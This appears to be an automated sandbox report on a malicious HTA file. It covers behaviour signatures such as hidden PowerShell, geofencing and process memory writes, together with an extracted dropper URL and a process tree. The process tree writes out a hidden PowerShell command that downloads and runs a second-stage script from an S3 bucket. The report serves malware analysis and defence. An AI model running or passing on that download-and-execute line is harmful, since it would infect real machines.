Analysis
- max time kernel
38s - max time network
36s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
02/07/2026, 10:33
General
- Target caab25526b3bef220dc192bd74fa775eb76aa9d52b4f1aebd2b6394d62100bc7.hta
- Size 438B
- Sample260702-mljpbaev3p
- SHA256 caab25526b3bef220dc192bd74fa775eb76aa9d52b4f1aebd2b6394d62100bc7
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://vibrbucket.s3.eu-west-3.amazonaws.com/pdf%20file/stage2.ps1
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\caab25526b3bef220dc192bd74fa775eb76aa9d52b4f1aebd2b6394d62100bc7.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iex((New-Object Net.WebClient).DownloadString('https://vibrbucket.s3.eu-west-3.amazonaws.com/pdf%20file/stage2.ps1'))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_u4w2zgb2.zac.ps1
memory/4472-6-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/4472-2-0x0000000002E30000-0x0000000002E40000-memory.dmp
memory/4472-3-0x00000000054F0000-0x0000000005B18000-memory.dmp
memory/4472-4-0x0000000005350000-0x0000000005372000-memory.dmp
memory/4472-5-0x0000000005C20000-0x0000000005C86000-memory.dmp
memory/4472-0-0x0000000002E30000-0x0000000002E40000-memory.dmp
memory/4472-1-0x0000000002D40000-0x0000000002D76000-memory.dmp
memory/4472-14-0x0000000005D00000-0x0000000006054000-memory.dmp
memory/4472-15-0x0000000006320000-0x000000000633E000-memory.dmp
memory/4472-16-0x0000000006880000-0x00000000068CC000-memory.dmp
memory/4472-17-0x0000000007950000-0x0000000007FCA000-memory.dmp
memory/4472-18-0x00000000067D0000-0x00000000067EA000-memory.dmp